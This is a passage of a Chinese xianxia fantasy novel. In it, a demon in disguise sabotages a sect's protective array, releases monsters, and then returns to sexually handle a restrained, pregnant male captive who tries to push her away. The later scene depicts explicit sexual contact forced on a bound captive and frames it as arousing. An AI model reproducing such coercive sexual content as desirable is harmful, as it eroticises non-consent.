不过没人再关注,清点完妖将都在后,掉头离开。弟子扶着那莫名其妙后脑遭重击的弟子,骂骂咧咧出去,走在末尾的弟子见还有人在那站着不动,催促:“快点,等下还要去和执事汇报。” 那弟子却道:“你们先去,我再仔细查查。” “你快点。” 待他们离开,北溯站到牢门前,低头注视里面奄奄一息的妖将,皮开肉绽,蜷缩在狭小的笼子里,连龇牙吓人都做不到。 若是小蛇在此处,一定会说:“北北,你嘴上说着不管,心可软了。” 北溯动了动手,牢门锁链卡擦一声裂开,里头的妖兽立刻精神,竖瞳死死盯着她。 想了想,她又给这群妖将恢复体力,至于能不能逃出去,就看他们的了。 片刻后,六重山地动山摇,妖兽嘶吼声此起彼伏。在值守的弟子反应过来前,山体忽然塌陷,碎石砸下,轰隆声响。 处在六重山下的弟子被这声响惊到,齐齐望过去,届是看到极 为震惊的一幕。 只见那山崩塌,妖兽身影从豁口中冲出,嘶吼声震慑心肺。 有妖兽横扫碎石,砸中弟子,血溅当场。 “妖将跑了——妖将跑了——” 混乱之中,一名弟子隐匿在人群里,往山下而去。匆忙压制妖将的弟子无暇顾及身边异样,全都往六重山冲。 北溯几步走动,隐息术一开,无人能发现她。她来到一重山,仰头看苍穹打斗纠缠的妖兽与人族修士,动手再给他们添些乱。 无形的小蛇在空气中游动,冲入镇魔塔。 不过片刻,一股魔气冲天而起。 值守的弟子看到出现裂痕的镇魔塔,手抖着发出讯号。 “镇魔塔……没了!” 此刻终于有执事发觉不对劲,一见妖将逃脱,魔气冲天,连忙禀告天綪。 吞云殿内,三位未受伤的仙尊向天枢仙尊请命:“我等前去协助道宗弟子。” 天枢仙尊点头,朝天綪开口:“立即开启七绝阵。” “遵令。” 第36章 “妖气!快驱逐妖气!否则会变成异种!” 挣脱出来的妖兽攻击弟子,没被立刻杀死,残留的妖气在体内,时间一长,被妖气侵蚀后会成异种。 受伤弟子连连后退,修为高的挡上,忽然一声厚重钟声响起,片刻后护宗大阵转红,守阵弟子意识到那是什么,立刻高呼:“七绝阵开了,七绝阵开了!” 梵钟再响,一共七声,每一声响,金字符咒闪现。 “怒——”金色覆盖大阵结界,金色符文刻在结界上。这是道宗最强杀阵,即使是无妄境强者也无法抵挡其威力,且大阵边缘由极强的杀意组成结界,一旦强行穿过,杀意穿身,犹如被千万把利刃穿透身体。 喜、怒、哀、惧、爱、恶、欲七字陆续刻上大阵,杀阵已成,护宗大阵被七绝阵取代,三道流光坠落,眨眼间三只妖兽四分五裂。 与此同时七绝威能爆发,弟子们都未来得及看清楚,妖兽身体被穿透,碎了一地。 “死了?都死了?” 很快有人发现不对,七绝阵未停,不远处能看到魔气肆虐,三道流光冲那魔气升起的位置而去。 “那是什么?” “是镇魔塔的方向!镇魔塔也出事了?” “定是有人捣鬼!” 很快有执事上来处理残局,“将这些妖兽尸体拿去炼丹炉烧了,所有被咬过的弟子,立刻前往丹阁处理身上妖气!” “妖兽逃脱必然是有人捣鬼,其余人,搜查宗内一切可疑之处!” “遵命!” 弟子四散开来,执事抬头遥望崩塌的戒律堂,脸色凝重。 北溯隐匿在人群中,七绝阵一开,她没办法立刻离开,但这群人也发现不了她,先在此地待一会,再寻脱身办法。 抬头一看天空那三道流光,眸光一闪,她去了镇魔塔。 塔身自中间裂开,魔气冲天,里头被关的魔不断攻击禁锢阵,摧毁塔身。塔身金符黯淡,再过不久,便会彻底消散,届时便没有什么能困住这群魔。 “都灭了吧。” 来此的三位仙尊同时布阵,一把剑影显现,立于镇魔塔上空,杀气袭卷而下,魔气立刻被驱散了些,被压制着往里缩。 塔身裂缝里的弟子狰狞痛苦,哀嚎声令在后面护法的弟子不忍直视。 “好痛……痛啊……” 弟子们忍不住问:“这是要杀了他们吗?镇魔塔是用来帮助入魔的弟子剔除心魔的,有些弟子已经快要剔除心魔,就这么全都杀了?” 三位仙尊并不理会,只操控杀阵清除里面的魔。 眼见那剑影越来越接近塔身,魔气越来越弱,赶来的星峦气都喘不上,连忙喊:“仙尊手下留情!手下留情!” 拐杖敲得冒烟:“封锁魔气即可!不要杀他们!” 天璇仙尊听到此话,冷呵一声:“愚蠢!若是道心坚定,怎会有心魔?留着不杀,待他们彻底入魔,捅你一刀?” 玉衡仙尊道:“先将他们封印,待解决大事,再处理他们。” 剑影悬在塔尖,将魔气压回去,阵法收缩,金符流转,在塔身外三米处,禁锢阵起,里头的弟子缓缓退回去,哀嚎声减弱。 三位仙尊收手,弟子们在一旁钦佩不已。 星峦朝三位仙尊一拜,表达谢意:“多谢仙尊出手相助,留他们一命。这些孩子只是心中有惑不得解,才产生心魔,我等日日开导解惑,一次效果虽微乎其微,但只要不放弃,总有解心中疑惑铲除心魔的那一天。” 三位仙尊不以为然,直接离开。 星峦与众弟子等他们离开,才直起身。 一看高悬的剑影,碎裂的塔身,里头哭嚎的弟子,星峦重重叹了口气,“人非草木花石,怎会没有七情六欲,若是能看破所有疑惑,岂不是成神了?” 扫视看守镇魔塔的弟子,为了阻拦入魔弟子出来,皆是受了伤。 拐杖落地,阵法展开,源源不断的生机涌入弟子体内,为他们疗伤。 “多谢星峦长老!” 星峦摇了摇头,道:“待会会有供奉来此与你们交替看守镇魔塔,待她来,你们可去休息养伤。” 他说完,再一望头顶悬浮的哀金字符,叮嘱道:“七绝阵已经开启,若有妖邪袭击,七绝阵自会感应到,切莫以命相搏。” 弟子们立即说是。 星峦拄着拐杖离开,弟子们看他离开的背影,忍不住说了句:“星峦长老看起来不太高兴?” “要我说,入魔的弟子就该就地斩杀,仙尊说的对,道心坚定怎么会有心魔,将他们救回来,谁知道会不会再次入魔。” 他们说了会,再去看苍穹的七绝阵,惊叹不已。 片刻后一女子走来,缓缓道:“你们可以退下了,我来看守镇魔塔,一个时辰后来换班。” 弟子们纷纷退下,脚步飞快。 女子抬眸看向镇魔塔外的禁锢阵,过了会才往裂缝里看,里头魔气尝试出来,次次都被剑影逼回去,试图冲出来的弟子一旦肢体暴露出裂分,禁锢阵与剑影齐动,暴露在外的肢体立即冒黑烟,发出滋滋声响。 “要被烤焦了。” 替代那名供奉的北溯蹲在禁锢阵外,在里头看到了两张熟面孔。他们进去,多多少少都和她带点关系。 “这么久了,还没从里面出来,看来你是个入魔的料子,日后去和雾漓干,也挺好。” 剑阵不是不能破了,但很耗费力气,再者七绝阵她还没找到阵眼,把力气花在这不值当。且里头这么多入魔的弟子都没能冲破镇魔塔原本的禁锢阵,实力也就那样,不值得她动手。 她站起身,朝魔界的方向望去,今晚是回不去了。 一个时辰后,七名内门弟子赶来,朝她俯身一拜:“我等前来值守。” 北溯扫过这群人,走过去,拍了拍一名弟子肩膀,笑道:“你们可要好好看守,镇魔塔再出问题,宗主可是会责罚的。” 那弟子心神一颤,立刻保证:“供奉放心,我等一定不会出错。” 他说完,其余弟子齐齐出声。 北溯没说话,走了。 没听见她回应,弟子们心中不安,想说些什么,但又不敢多说,互相对视过后,分散开来守着镇魔塔。 离去的身影隐没,去到一处洞窟将原本的执事唤醒,不等那执事说话,直接搜她的魂,找到几条有用信息。 自那几个仙尊从魔界重伤回去后,道宗动作更加频繁,一日内丹药法器炼制上百,几位供奉被派遣出去联络人界各个宗门,羿虚境及以上修士连夜赶往道宗,道宗之外无妄境修士仅有两名,早在两日前到达道宗,数名羿虚境修士到达道宗后,被派遣捉妖将。 剩余修为不达羿虚境的,全都与所属宗门杀妖。 人皇那处并未有所动作。 搜魂结束,供奉瘫倒在地,双眼无神,已然痴傻。 隐息术在她身上覆盖,身形隐没,气息消失,不碰到她,不会察觉到她的存在。 北溯在洞窟里待了会才出去。 昆仑既然来人要杀她,必然是在充足准备下动手,现在这些举动,看着倒像是杀她前的准备工作,但并不会威胁到她。 她在想,三百年前那群老不死的都没能杀得了她,他们又如何能杀死她? 他们有神器?还是别的东西。 脚步停下,她来到吞云殿 ,看守的弟子见她来,立刻去通报,片刻后,弟子出来,引她进去。 里头很安静,首座上是空的,下首位坐着一白发人,他转头望过来,眉心山形印记一出,北溯差点没忍住动手。 眼生,没见过。 当年昆仑实力强悍的那几个都死绝了,现在冒出来的,比那几个弱了不少。 这么多年没人飞升,昆仑实力也没见涨,真是无用。 “镇魔塔现在如何?” 直到天綪出声,北溯才发现边上还站着一个她。 “目前稳定。”她说完,天綪立即道:“无事便好,你可以回去继续守着了。” 北溯却未动,道:“仙尊意思是将镇魔塔内弟子全都杀了,以绝后患,宗主不考虑考虑?” 供奉在道宗地位虽低于三位长老,但也有话语权,她这么问,符合身份,不会被怀疑。 天綪并未看那位仙尊,只道:“道宗向来以仁义为先,不到救无可救的地步,不会放弃任何一名弟子。” 北溯很想撕破她这副正义做派的嘴脸,当初天綪随口找个罪名要杀她的时候,可不是这么说的。 正要离开,那仙尊忽然出声:“站住。” 北溯站定,那仙尊盯着她背影,又命令:“转过来。” 她缓缓转身,任由这两双眼打量。 玉衡仙尊仔细打量她,眉心印记亮起,一道仙力击入她体内,却石沉大海,什么反馈都没有。 他忽然站起身,朝她走过去,天綪在他身后跟着。 北溯依旧放松,她的幻形术不可能会被发现,现在也不是动手的好机会。 玉衡仙尊一双眼盯着她看了许久,忽然问:“镇魔塔内都是道宗弟子,你忍心将他们杀了?” 北溯面露诧异:“这不是仙尊你们的意思吗?” 她在玉衡仙尊问之前,说:“星峦长老与我说的时候,我还诧异呢。原来仙尊也并非都是仁慈,也会嗜杀。” 天綪开口命她走:“你该去看守镇魔塔,而不是在此处冒犯仙尊。” 北溯轻声说了是,朝他们行礼,转身离开。 玉衡仙尊依旧盯着她,待她气息消失,眉心印记才暗下去。 天綪疑惑道:“仙尊是觉得她不对劲?” 玉衡仙尊摇头,“未探出来。” 说来也是昆仑无能,连探测邪神气息的法器都未能造出来,只能通过她动手使用的力量判断。一旦邪神变幻模样,他们便无法看出来。 “盯着她,以防万一,绝不可影响两日后的行动。” 天綪领命,立刻去办。 又是一个时辰过去,北溯换了班,在镇魔塔前守着,塔身影子拉长,在她的角度,影子恰好被塔身遮住。 状似无间往后一瞥,一声轻响,乍一看,后面什么都没有。 北溯收回目光,逐渐靠近禁锢阵。 那双眼看到她即将碰到禁锢阵,发出一声怒喝:“你在干什么!” 那人立刻靠近,见她要走动,快步跑来,正要指责,看到她离禁锢阵还有好些距离,一愣神,就听她嘲讽。 “你以为我要破坏阵法?” 执事下意识质问:“你难道没有这个心思?” 北溯侧身张开手臂,在他惊恐的目光下动了动,道:“我与阵法之间尚且有一臂之多距离,如何能破坏?” 语气一转,换成她问:“怕是你想破坏禁阵,要栽赃与我。” 执事当即红了脸,辩驳:“你胡说!”但也只憋出了没什么用的三个字。他又仔仔细细看她与禁锢阵之间的距离,确实隔得远。 方才分明看得很清楚,她都快要踢到阵法,怎么跑过来,却还差这么多距离,难道是他看错了? “是不是胡说,你自己心里清楚。”北溯绕到他身后,扫过他脖颈,声音轻飘飘的:“仙尊好不容易将镇魔塔镇压住,若是因你出了岔子,你可是会被关入戒律堂受罚的。” 执事当即摇头,赔笑道:“方才是我看错了,供奉大人您怎么会有破坏阵法的意思,是我眼瞎看错了。” 边说边后退:“那我就不打扰您看守镇魔塔了,您可要小心些,若是发生意外,定要告知宗主。” 北溯没拦他,看着他走远。 正巧被换班的弟子撞见,向他问好都没见他回一句。 “您先去休息吧,这里有我们。” 这几人看着眼生,不是先前来的那群弟子,换了一波。 北溯点了头,从他们身边走过。 神识放开,捕捉到那名执事的位置,正在往吞元殿赶去,显然是要向天綪汇报。 那仙尊确实警觉,即使没看出来异样,也要监视她一举一动,接下来怕是不方便去找阵眼。 七绝阵并非人族修士所创,乃仙界之法,被昆仑带到人界,阵眼是个神器,与昆仑镜,降魔杵不同,这是用来储存仙力的法器,可为七绝阵提供力量,不摧毁此法器,七绝阵便不会断。 这东西所处之处空间扭曲,这是唯一的特征。 道宗内九座山,要想找到阵眼,很难。 这种东西一般都会放在接触不到的地方,避免修为低下的弟子接触到,被卷入扭曲的空间中,无法逃脱。 所以阵眼一定会在看守森严之处,或是只有道宗权限极大的那几人才可去的地方。 那便是九重山。 重莲殿,吞云殿,还有天綪的寝殿。 前两处她去过,没有感知到空间波动,剩下的只有寝殿。 北溯遥望东方,这次,她得去一趟。 她回到休息处,在无处不在的监视下,分出一丝神识,探到天綪寝殿外,门是关着的,但有禁阵,寝殿内被屏蔽,神识探寻不到里面,没有天綪的气息进不去。 神识来到寝殿上空,试图找到漏洞。天綪显然很宝贵她的寝殿,禁阵严严实实将寝殿笼罩在内,一丝破绽漏洞也无,这就更证实了里头有东西。 神识再往吞云殿而去,天綪正在里面。 要获取她的气息很简单,若是小蛇在,都不用她出手。 一阵风刮过,天綪压住被吹乱的发丝,往外看,缓缓蹙起眉。 “目前未曾查到异常之处。受伤的弟子已安排好,除开修为底下的弟子挡不住妖气侵蚀被诛杀,其余弟子都已驱出妖气。” 天綪注意力重回汇报的执事身上,道:“今晚减少外门弟子值夜,一名供奉带领十名内门弟子巡逻,每隔一刻钟巡逻一次,定要仔细小心。” “遵命。” 那执事一走,天綪在吞云殿内站了会,朝外头看去,日薄西山,大阵依旧开启,却再没有一丝异动。 想起那阵怪异的风,她抬手抚鬓,动作一顿,脸色骤变。 “糟了!” 她的身影自殿内消失。 拿到她发丝,北溯起身,朝外走去,周身空间变化,但没人能看出异样,一眨眼,她还在那,往镇魔塔走。 这是被无形的丝线操控的原本那位执事。 跟在后头的人一路跟着她去到镇魔塔,见到弟子们出来,才放了心,掉头离开。 而北溯已经借发丝幻化成天綪,成功进入她的寝殿。 不用她找,那东西就在眼前。 本应该四脚着地的桌子倒转,四脚黏在天花板上,桌面放的东西也没掉下来,稳稳贴着桌面,以那东西为中心一米距离,上下颠倒。 外形类似海螺,表面细小金符缓缓转动,内里泛着光,颜色很浅。 法器外围还有层层禁阵保护,这几道禁阵,是当初那几位仙尊留下的。即使是无妄境的天綪,也没法短时间内破开。 好巧不巧,这禁阵北溯熟悉的很,与封印她的阵法同源,但比封印弱多了。 当天綪赶来时,还未走到寝殿门前,便觉周遭空间异常,一眼看去并无异样,但只要再往前一步,迈出的腿在另一空间,其余身体部位还在此处。 空间裂缝会将她的腿截断,断肢会流入另一空间,看着像是凭空没了一条腿。 她僵直着身子没有往前,脑内警报声尖锐,当即发出危险讯号。 周围一声爆响,将讯号淹没,只余下漫天的红雾。 结界上七道金文脱落,缓缓消散,七绝阵威力立刻散去,一切发生的太快,没有人意识到七绝阵出现问题,护宗大阵被七绝阵覆盖,没有开启,七绝阵一消失,整个道宗,所有弟子所有人,全都暴露在异种裂缝能察觉的范围内。 不过一息间,苍穹似被锋利剑刃割破 ,数道裂口显现,缓缓扩大,黑紫色的颗粒物先一步蔓延,一只利爪探出裂缝,瞬息间无数异种破开裂缝而出。 天綪一掌击向自己喉咙,声音响彻整个道宗,通知厄难降临。 “七绝阵被破,道宗弟子听令,立刻开启护宗大阵,驱逐异种!” 随着这声音响起,梵钟震荡,一声一声,如同在身体里敲击,所有人都被震得呆滞。 待他们反应过来,已经看到逼近的异种。 三道流光划破天际,联手抵御异种。 天綪动手稳定面前扭曲的空间,心已快停止跳动。 她犯错了,犯了一个无可弥补的错。 而将阵眼摧毁的北溯浮于道宗上空,面无表情看着异种侵入,将目光缓缓转向那三位仙尊。 先前镇压镇魔塔的也是他们。 所以那日她伤的那几个伤势还没恢复? 盯着全神贯注杀异种的三个仙尊,北溯缓缓笑了一下,下一刻,她来到最边上那仙尊身后,凤凰翎羽化为锋利匕首,刺入他身体。 那仙尊察觉到,一掌拍过来,北溯迅速躲开,身形一转,已是百米之外。 翎羽上含有的妖力侵入他身体后,羽毛消散,那仙尊当即打坐排出妖力,剩下的两个四处搜查,紧张不已。 但这些北溯已经不关心了,凤鸣的翎羽最多拖延那仙尊一刻钟时间,这个时候她该离开,而不是和他们硬拼。在道宗停留的越久,越危险。 她冲魔界而去。 这会道宗忙着驱赶异种,根本没精力来魔界,更别说来抓她。 道宗上空被异种覆盖,密密麻麻的异种被击杀一部分,火红的天空显露,不过一会,更多的异种冲上来。 弟子仰头看天,在异种降临前,他在看夕阳。 “今晚的太阳,好红啊。” 像血一样。 此刻道宗吼叫声此起彼伏,哀嚎遍野,而魔界一片安宁。 安静到成镜不适应。 自天亮时她走后,直到日薄西山,再未见到她身影。 他在等她,找机会再次连通她的精神之桥,进入她的过往,若非雾漓捣乱,此刻他已经知道所有。 一天过去,她都未曾出现过。 成镜垂眸,沉思片刻,准备去找她。 方一起身,堆积的衣裳垂落,贴合身躯,刚朝前走了一步,胸口却疼了起来,像是伤口被摩擦到,火辣辣的。 他蹙了眉,再走了一步,身子顿时僵住。 呆滞许久,才僵硬地低头去看。 洁白的衣裳,左右两边有一处颜色稍深,范围缓缓扩大,甚至还能感觉到湿润。 成镜眨了眨眼,没有移开目光,准确来说,他已经不知道要做出何种反应。 像是布料沾到水,颜色加深,再朝四周蔓延。一般滴上几滴水,水渍蔓延开很快便会停止,但他没有。 那深色范围越来越大,甚至能感觉到肌肤上湿痕越来越长,伴随着酸胀感。 他仔细想了想。 什么都没想出来。 “我知道。” 屋外忽然响起她的声音,成镜身子一颤,猛地抬头,隔着一道门,听见她靠近的声音,不止她一个人。 声音响起得太突兀,身子颤动时,似乎刺激了他。 胸前更湿了。 然而她的声音越来越近。 成镜呆滞着,意识与身体分家,明明在想自己要避开他们,身体却一动不动。 已经能看见她的身体轮廓。 门,被推开了。 第37章 “不解决了他,下一个被杀的就是你。” 夕阳照在雾漓身上,深色皮肤将那光吸尽,看着尤为阴沉。 即使他这么说,眼前的人依旧没有表态的意思,脚步不停。 “你觉得他这样的实力,身份地位,会乖乖受你挟持,不会暗中谋划怎么杀了你?” 这句话终于令她止住脚步,转身来看他。 雾漓立刻道:“你该与我联手,杀了他。” “谁来杀,你杀?”北溯只一句话,将他所有话堵死:“他是我的人,你敢动他,我先灭了你。” 她站在那,迎着夕阳,所见云端血红一片。 “你想下去与你那死了几百年的爹见见?”见他忍着不说,北溯冷呵一声,转身回去。 雾漓却没离开,继续跟着,即将到达寝殿时,他又道:“所以你知道他的身份?” “我知道。” 北溯走到殿门前,伸手推门。 殿门被推开,浓郁的清凉莲香扑面而来,看到眼前的一幕,北溯稍有愣神。 一朵半人大的莲花悬浮着,却一动不动,位置恰好就在她面前。 北溯蹙眉看了会,走进去,在雾漓跟上来前,将门关上。 雾漓眸光隐晦地盯着关上的殿门看了会,转身离开。 殿内只有这朵莲花,未见成镜身影。 北溯看着这朵莲花,边看边走到床尾坐下,一呼一吸间,莲香直往心肺里涌。 这香味若是有毒,此刻她怕是已经毒入五脏六腑,离死不远了。 这气味几乎遍布殿内,一进来如同沉入水池中,凉意沁人心扉,还有些冷。身体却明显轻松,疲倦缓缓扫清。 金莲确实厉害,香味都能愈合伤势。 北溯忽然冒出一个念头,待他生下鳞舞,吃了他的本体,也可恢复自己的伤。 这么一想,也这么说了出来。 一片花瓣微不可查地动了动,依旧保持现在的状态。 北溯奇怪了,他好端端的,变成原形做什么? 她站起来,走了几步,伸手去碰,没碰到。莲花消失,男人在离她很远的位置显形,却是背对着她的。 瞧见他衣衫的颜色,北溯挑了眉,这人一般都穿浅色衣裳,这回穿了个深色的,照先前他换衣服的原因,这次应是也出了什么问题,他想遮掩。 北溯吸了口莲香,冲他道:“道君没有想过杀我吗?” 两人都知道成镜此刻有能力冲开灵脉,虽然耗时耗力,但不是不能,那为何成镜并未动手? “我今日去道宗了。”她开始激怒他:“道宗今日死了不少人,好几个成了异种,镇魔塔也裂了。” “道君不是要庇护道宗弟子吗?怎么不动手挣脱,反而还在这里待着。”北溯坐回床尾,靠在栏杆上,一直看着他:“难不成道君喜欢上这了?” 不论她怎么说,说多少,那人都没什么反应,依旧背对着她。 北溯没了兴致,却也不想过去把人拉过来,看了会,正要收回目光,察觉到一丝异样。 以她走之前摸到的位置,应是能看见他肚子隆起,衣裳也该是被撑大,怎么从她的角度看他腰侧,并未有弧度? 北溯起身走过去。 在离他不过两米时,他骤然低喝出声:“别过来。” 这三个字说得很快,声音也比平常大了些,像是在掩盖着什么。 北溯没理他,继续走,即将碰到他时,他往边上一动,避开了她。一直注意他腹部,确实如她所见,腹部平坦。 北溯眸色沉了下去,立即动手,欺身而上按住他的肩,将人硬生生掰着面向自己,但没有成功,他的身体竭力对抗她的力道,竟是一丝也没掰动。 她没了耐心,禁锢阵亮起,将人困住,走到他面前,抬手去碰,那肉眼看着平坦的位置,实则凸起,稍稍一碰,能触到衣裳丝滑之感。 他用了障眼法遮肚子。 北溯觉得好笑,没想到这道君挺在乎自己形象的,还特意把自己弄成正常的样子。 骗谁呢。 北溯收了手,禁锢阵松开,方要说几句话,男人立刻转身要走。姿势怪异,上半身一动不动。 她止住自己要说的话,观察了会,觉得他不大对劲,整个人笔直得如同纸板,一点都不能弯。 视线中他径直走过殿门,在往常打坐的位置停下,却没再动,也未上莲台打坐,这可不像他。 北溯嗅着越来越浓的莲香 ,越发觉得他古怪。 但她又没见过莲花成精的妖兽,不知莲花散发浓郁香味意味着什么,只担心他身体出现异样,危及鳞舞。 她得去看看鳞舞的情况。 于是她又走过去。 还未靠近,男人再次低喝,声音比之前低了些,声线颤抖:“别过来。” 这次北溯听出了异样,他的声音明显不对,一直躲着她,身体又出现了问题? 北溯故技重施,将人禁锢住后没有走到他面前。他身后就是墙壁,没有位置可走。将人转着面向自己,方要去查探他身体情况,禁锢忽然被挣开,凌厉的掌风袭来,迅速偏身躲开。 余光瞥见他要跑,立即抓住他的胳膊,用了法力将人按到墙上,身体压上去抵住他,力气大了些,男人闷哼一声,竟是松了挣扎的力气。 北溯听着他的声音,缓了一会,凑到他垂下的眼前看他,只对视上片刻,他再次动手推她。 然而北溯已经动手再次在他身上施加禁锢咒,同时去封锁他破开的灵脉。 “道君确实厉害,悄无声息便冲破了灵脉封锁。” 是她疏忽,算到他能冲破,但没想到这么快,加上自身力量流失,禁锢他的力量减弱,被他冲开。 那么问题来了,他既然已经冲破,为何不跑。 重新封锁后,这次没有解开禁锢,仔细观察他,不知为何,从碰到他起,他身体绷得像块铁,但反应又很大,稍微碰一下,就会抖。 他抖什么呢。 北溯稍稍后退,动了动手,将他身上的障眼法去除,看到他的肚子,稍稍靠近,摸了一下,随即感受到男人颇为剧烈的反应。 “很快就会结束了。” 她难得笑了笑,要收手时,嗅到更为浓郁的香味,似是莲香,但又混杂着旁的味道,从他身上散发出来。 再准确一些,在他胸前位置。 北溯直起身,目光落在他胸膛上,眼瞳缓缓转为竖瞳,幽绿瞳孔映入睁开眼的成镜眼中,有种被凶手盯上的危机感,同时还有被发现的难堪,羞耻,恨不得立刻挣脱灵脉封锁,将她杀了,这样就没人知道他身上发生的一切。 但随之而来的,还有隐秘的快意,刺激着他的身体产生更多的湿润。 从不知,一个人的视线会令自己的身体变成这样。 成镜已经没法做回曾经的自己,但他绝不会任由自己再这么堕落下去—— 这个念头很快被揉碎,渣都不剩。 衣衫瞬间撕裂,那一刻,脑海空白。 只有她触摸上来时,带来的战栗,令他无地自容,想要挣扎,浑身却忽然一点力气都没有。 晶莹透彻点点珍珠溢出,缓缓凝聚,汇集,没有器皿盛着,也没有喂出去,就这么顺着皮肤肌理流淌,接触到空气变得冰凉,宛如她触碰上来的手。 许久之后,他反应过来,要将如此难堪的自己遮住,手臂一抬,竟然就这么抬起来,呆滞片刻,立即要推开她。 可她的动作比他更快,拇指按上来,他连维持手臂抬起都做不到,后背无力抵住墙壁。 若非有这堵墙在,他怕是要倒下去。 北溯将手上的湿润按到唇上,舔了一下,蹙了眉。 她低声反馈:“没什么味道。” 听到这句话的男人想了许久,才骂了句:“住口!” 声音却软绵绵的,纸糊的老虎,一点力气都没有。 抬头一看,男人面颊绯红,双眼含着的那一丝丝怒意反倒为他添了几分风情,刚骂完这句,下一瞬呼吸骤然一窒。 视线里是她俯下的脑袋,发丝擦到皮肤,分明没什么,却叫他浑身战栗,那股酥麻的感觉从胸口荡漾到全身,一点反抗的力气都没有,反倒还有可耻的感觉。 更过分的在后面。 当被叼住时,麻麻的,明明他在想要挣脱开,但身体比意识更诚实地给出了回应。 不被碰触的另一侧,晶莹越来越多,流淌下来,很快洇湿腰间的布料。 北溯狠狠吸了一口。 不出意外听见男人变了调的声音,她稍稍退开,看着已经被吮红的地方,砸吧嘴,又说了那句话:“没什么味道。” 像白开水,最多带了点莲花的清香。 “不好喝。” 成镜却如从劫难中逃脱,张着唇,呼吸难以平静。整个人如同从水里泡过。额间汗珠滑落,滴在胸膛上,缓缓滑下。 北溯瞧着这样的他,低低笑了出来。 “道君方才可还舒适?” 他不言,甚至不看她,双臂撑着墙壁,支撑自己站稳。 北溯就想看到他被这副要打她却没法动手的样子,太好欺负了。即使能冲破灵脉封锁,他也没那个力气动手,真弱啊。 她目光肆意打量他,被吮过的一边再次冒出珍珠,但没有另一侧多。浅红的一头已经被晶莹浸透,一直流淌。 她再次俯身,一口咬住,这次故意用力,牙齿叼着那粉色圆球磨了磨,再吮了一下,咽下白开水,牙齿咬了咬,还没用什么力,被人抵住肩膀。 成镜无法形容自己此刻的感受,但知道自己不应该被这么对待。 分明积攒了力气要推开她,可当她咬住时,推她的手却无力搭在她肩膀上,看起来宛如他拥住她,让她靠自己更近,默许她这么做一般。 不该是这样的,他并非要这么做。 可身体背叛理智,做出了最诚实的举动。 女子伏在男人身前,将他的晶莹吃下,甚至还有吸吮的声音。 成镜只能闭上眼,他不知道面对这样的行为该做出什么反应,试过反抗,但没有用。身体早已经不属于他。 偌大的寝殿内,莲香越来越浓郁,萦绕在他们周围。 男人被抵在墙上,手臂搭在女子肩膀上,悬悬欲坠。 仰起的脖颈喉结滚动,下一瞬又死死咬住唇,但还是无法阻止声音溢出来。 当他意识回笼,睁开的眼一眼瞧见女子唇上的湿润,身体的变化无法压制,再极力克制掩盖,也掩藏不了。 他盯着女子红润的唇,喉头滚动,难以言喻的感觉迅速袭卷全身,艰难地直起身,却又撞回墙壁上,衣衫还是散着的,这么一撞,那两处殷红狠狠颤动,他似乎感觉到那湿润像是炸开了一般往外溢。 很想很想找一处地方,就这么躺着,再也不要见任何人。 但他望着女子的眼神不是这样的。 那双眼没有理智,只有渴望。 被她轻易勾出来,要她才能解决。 这样的眼神北溯在他眼里看到很多次,每回结束,他便是这般看她。 她笑着:“想要?” 他不言,只望着她,呼吸加重。 北溯低头看向他腹部,再抬头望他,说:“求我。” 成镜根本不会说这种话,他极力压抑着,可总觉得缺了什么。方才她靠近时的柔软似乎还在,像是在告诉他,自己根本没法脱离她的碰触。 混乱的思绪闯入清流,蓦地想起自己还有件事情未做。 而这一次,时机正好。 但求她的话,怎么都不可能说出来。 他靠着墙壁缓了很久,身体异样还是压不下去,他只忍着,一声不吭,缓缓凝聚灵力,却可耻地发现,身体还在流淌那东西。 甚至更多。 像是被打开了开关,争先恐后地涌出来。 他在想,若是查到她真的做了危害三界的事,他便要亲手了结了她。 连着她对自己的亵渎一起,将她埋葬。 这个念头很快被淹没,理智被压下,他再怎么忍,好像都无 济于事,不知是什么东西,将他的不堪放大,更加想要她碰自己。 哪怕只是发丝。 北溯知道有些体质的身体在孕期中,对亲密的事可能会需求更多。 此刻在成镜身上,她看到了这一特征,知道他此刻是被影响了,往常他不会这般,方才还有配合她的意思。 原来仙界最纯洁之物,入了凡尘,也无法控制七情六欲,也是会沉沦。 这样的他,如何能配得上道君二字? 这要是被道宗瞧见,不知道会怎么唾骂厌弃他。 久久未等到他开口求自己,北溯没再坚持。最主要的目的是修复鳞舞,折磨他不过是顺带。且他现在都能冲破灵脉,她得立即动手,在他下一次冲破灵脉前,催化鳞舞诞生。 快了,一两天的功夫,很快就能见到鳞舞。 她不再等待,神魂进入他灵海。 成镜眉心莲花印记亮了一瞬,睁开的眼短暂清明,很快闭上。 识海内出奇地平静,那朵莲花静静立于中央,一颗两手才能握得过来的蛋悬浮在其中。 北溯进来的第一眼,就看见了它。 她没有靠近,只看了会,去寻找成镜的神魂,在身后看到了他,也察觉到他离恢复到入神境,只差一步。 之差一步,他便能挣脱她的束缚,报复她对他做的一切。 还是慢了一步,她该早些催化的。 北溯冲他而去,在他动手前,先将神魂之力注入,待他无法反抗后,再靠近。 这是最后一次催化,结束后再等一两日,鳞舞便可诞生。 他出奇地温顺,没有抵抗,即使察觉到不对劲,她也没法停止。 所谓日日走在死亡边上,便是拿命去搏。 都知道对方有所图谋,这一次,却格外平静。 不知是不是因为已经连接过一次,这一次成镜格外顺利,走上了那座桥。 踏上去的瞬间,眼前变幻,他来到了上次来过的树前,跟着她走进去。 “异种可控,我的计划可行。” “你要拿全妖族的命去搏?”怒喝声响起,黑暗中还站着一人,他走出来,面容看着有些眼熟。 “搏与不搏,结局都一样,但我的计划至少有一分存活的机会。” 她的话立刻被否决:“你要妖界千千万万妖兽为了你这一分的机会,拿命去搏?你的计划能救多少?十只,百只?” “也许都能活。”北溯无视雾海的愤怒,平静说出自己的计划:“我去将异种裂缝吸引至人皇城,控制它们不攻击人族,你们便可带妖兵围截人皇,逼他交出请神令,只要摧毁请神令,神无法降临,妖界便不会被他们威胁到。” “你可曾想过,在我们将人皇城围堵前,人皇已经请神降临,届时谁都威胁不了他。” “我去。” 成镜看到女子抬起眼眸那一瞬间,眼底的坚定,抱着必死的决心。 脑海浮现上次见过的妖兽尸山,一切即将明了。 “我对付人皇,你们带妖兵围城。” 画面跳转,他看见被屠杀的妖兽,异种裂缝被驱逐,人皇殿前,神像金光大放,祂睁开石眼,恐怖强大的气息冲破天际。 她败了。 紧接着便是他曾经见过的尸山,这一次他以自己的双眼,见到她被同族之人捅刀泄恨。 “你错了,你害了妖界。” 老者泣出泪,将匕首抽出来,仰望上天,质问嘶吼:“凭什么要对妖族赶尽杀绝?我们历代存活在这世间,只因你们的私欲,便要摧毁我们?” 成镜不知他对天质问的是谁。 